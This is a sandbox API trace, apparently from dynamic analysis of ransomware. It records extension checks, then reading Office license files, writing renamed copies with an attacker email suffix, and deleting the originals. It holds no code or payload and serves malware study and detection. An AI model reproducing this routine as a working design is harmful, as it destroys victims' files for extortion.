	[0189.705] lstrlenW (lpString=".bz2") returned 4
	[0189.705] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.705] lstrlenW (lpString=".7z") returned 3
	[0189.705] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.705] lstrlenW (lpString=".dbf") returned 4
	[0189.705] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.705] lstrlenW (lpString=".1cd") returned 4
	[0189.705] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.705] lstrlenW (lpString=".jpg") returned 4
	[0189.705] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.705] lstrlenW (lpString=".doc") returned 4
	[0189.706] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.706] lstrlenW (lpString=".docx") returned 5
	[0189.706] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0189.706] lstrlenW (lpString=".pdf") returned 4
	[0189.706] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.706] lstrlenW (lpString=".xls") returned 4
	[0189.706] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.706] lstrlenW (lpString=".xlsx") returned 5
	[0189.706] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0189.706] lstrlenW (lpString=".ppt") returned 4
	[0189.706] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.706] lstrlenW (lpString=".zip") returned 4
	[0189.706] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.706] lstrlenW (lpString=".rar") returned 4
	[0189.706] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.706] lstrlenW (lpString=".bz2") returned 4
	[0189.706] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.706] lstrlenW (lpString=".7z") returned 3
	[0189.706] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.706] lstrlenW (lpString=".dbf") returned 4
	[0189.706] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.706] lstrlenW (lpString=".1cd") returned 4
	[0189.706] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.707] lstrlenW (lpString=".jpg") returned 4
	[0189.707] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.707] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.707] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27
	[0189.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.791] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=20780) returned 1
	[0189.791] CloseHandle (hObject=0x5ac) returned 1
	[0189.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0189.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.793] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.793] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.794] GetLastError () returned 0x0
	[0189.794] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x512c, lpOverlapped=0x0) returned 1
	[0189.797] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5130, lpOverlapped=0x0) returned 1
	[0189.798] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.798] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0189.798] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.798] CloseHandle (hObject=0x5e8) returned 1
	[0189.799] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.799] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.802] CloseHandle (hObject=0x5ac) returned 1
	[0189.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1
	[0189.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.804] lstrlenW (lpString=".doc") returned 4
	[0189.804] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString=".docx") returned 5
	[0189.804] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.804] lstrlenW (lpString=".pdf") returned 4
	[0189.804] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString=".xls") returned 4
	[0189.804] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString=".xlsx") returned 5
	[0189.804] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.804] lstrlenW (lpString=".ppt") returned 4
	[0189.804] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.804] lstrlenW (lpString=".zip") returned 4
	[0189.804] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString=".rar") returned 4
	[0189.804] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString=".bz2") returned 4
	[0189.804] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString=".7z") returned 3
	[0189.804] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.804] lstrlenW (lpString=".dbf") returned 4
	[0189.804] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.804] lstrlenW (lpString=".1cd") returned 4
	[0189.804] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.804] lstrlenW (lpString=".jpg") returned 4
	[0189.805] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.805] lstrlenW (lpString=".doc") returned 4
	[0189.805] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString=".docx") returned 5
	[0189.805] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.805] lstrlenW (lpString=".pdf") returned 4
	[0189.805] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString=".xls") returned 4
	[0189.805] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString=".xlsx") returned 5
	[0189.805] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.805] lstrlenW (lpString=".ppt") returned 4
	[0189.805] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.805] lstrlenW (lpString=".zip") returned 4
	[0189.805] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString=".rar") returned 4
	[0189.805] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString=".bz2") returned 4
	[0189.805] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString=".7z") returned 3
	[0189.805] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.805] lstrlenW (lpString=".dbf") returned 4
	[0189.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.805] lstrlenW (lpString=".1cd") returned 4
	[0189.806] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0189.806] lstrlenW (lpString=".jpg") returned 4
	[0189.806] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.806] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.806] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30
	[0189.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.807] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19932) returned 1
	[0189.807] CloseHandle (hObject=0x5ac) returned 1
	[0189.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0189.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.808] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.808] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.809] GetLastError () returned 0x0
	[0189.809] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4ddc, lpOverlapped=0x0) returned 1
	[0189.812] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0189.813] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.813] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x110, lpOverlapped=0x0) returned 1
	[0189.813] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.813] CloseHandle (hObject=0x5e8) returned 1
	[0189.813] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.814] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.816] CloseHandle (hObject=0x5ac) returned 1
	[0189.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0189.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.818] lstrlenW (lpString=".doc") returned 4
	[0189.818] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.818] lstrlenW (lpString=".docx") returned 5
	[0189.818] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.818] lstrlenW (lpString=".pdf") returned 4
	[0189.818] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.818] lstrlenW (lpString=".xls") returned 4
	[0189.818] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.818] lstrlenW (lpString=".xlsx") returned 5
	[0189.818] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.818] lstrlenW (lpString=".ppt") returned 4
	[0189.818] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.818] lstrlenW (lpString=".zip") returned 4
	[0189.818] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.818] lstrlenW (lpString=".rar") returned 4
	[0189.818] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.818] lstrlenW (lpString=".bz2") returned 4
	[0189.819] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString=".7z") returned 3
	[0189.819] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.819] lstrlenW (lpString=".dbf") returned 4
	[0189.819] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.819] lstrlenW (lpString=".1cd") returned 4
	[0189.819] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.819] lstrlenW (lpString=".jpg") returned 4
	[0189.819] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.819] lstrlenW (lpString=".doc") returned 4
	[0189.819] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString=".docx") returned 5
	[0189.819] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.819] lstrlenW (lpString=".pdf") returned 4
	[0189.819] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString=".xls") returned 4
	[0189.819] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString=".xlsx") returned 5
	[0189.819] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.819] lstrlenW (lpString=".ppt") returned 4
	[0189.819] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.819] lstrlenW (lpString=".zip") returned 4
	[0189.819] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.820] lstrlenW (lpString=".rar") returned 4
	[0189.820] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.820] lstrlenW (lpString=".bz2") returned 4
	[0189.820] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.820] lstrlenW (lpString=".7z") returned 3
	[0189.820] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.820] lstrlenW (lpString=".dbf") returned 4
	[0189.820] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.820] lstrlenW (lpString=".1cd") returned 4
	[0189.820] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0189.820] lstrlenW (lpString=".jpg") returned 4
	[0189.820] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.820] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.820] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24
	[0189.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.821] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10631) returned 1
	[0189.821] CloseHandle (hObject=0x5ac) returned 1
	[0189.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220
	[0189.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.822] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.822] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.823] GetLastError () returned 0x0
	[0189.823] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2987, lpOverlapped=0x0) returned 1
	[0189.825] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2990, lpOverlapped=0x0) returned 1
	[0189.826] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.826] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x104, lpOverlapped=0x0) returned 1
	[0189.826] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.826] CloseHandle (hObject=0x5e8) returned 1
	[0189.826] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.827] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.017] CloseHandle (hObject=0x5ac) returned 1
	[0190.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1
	[0190.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.380] lstrlenW (lpString=".doc") returned 4
	[0190.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString=".docx") returned 5
	[0190.381] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.381] lstrlenW (lpString=".pdf") returned 4
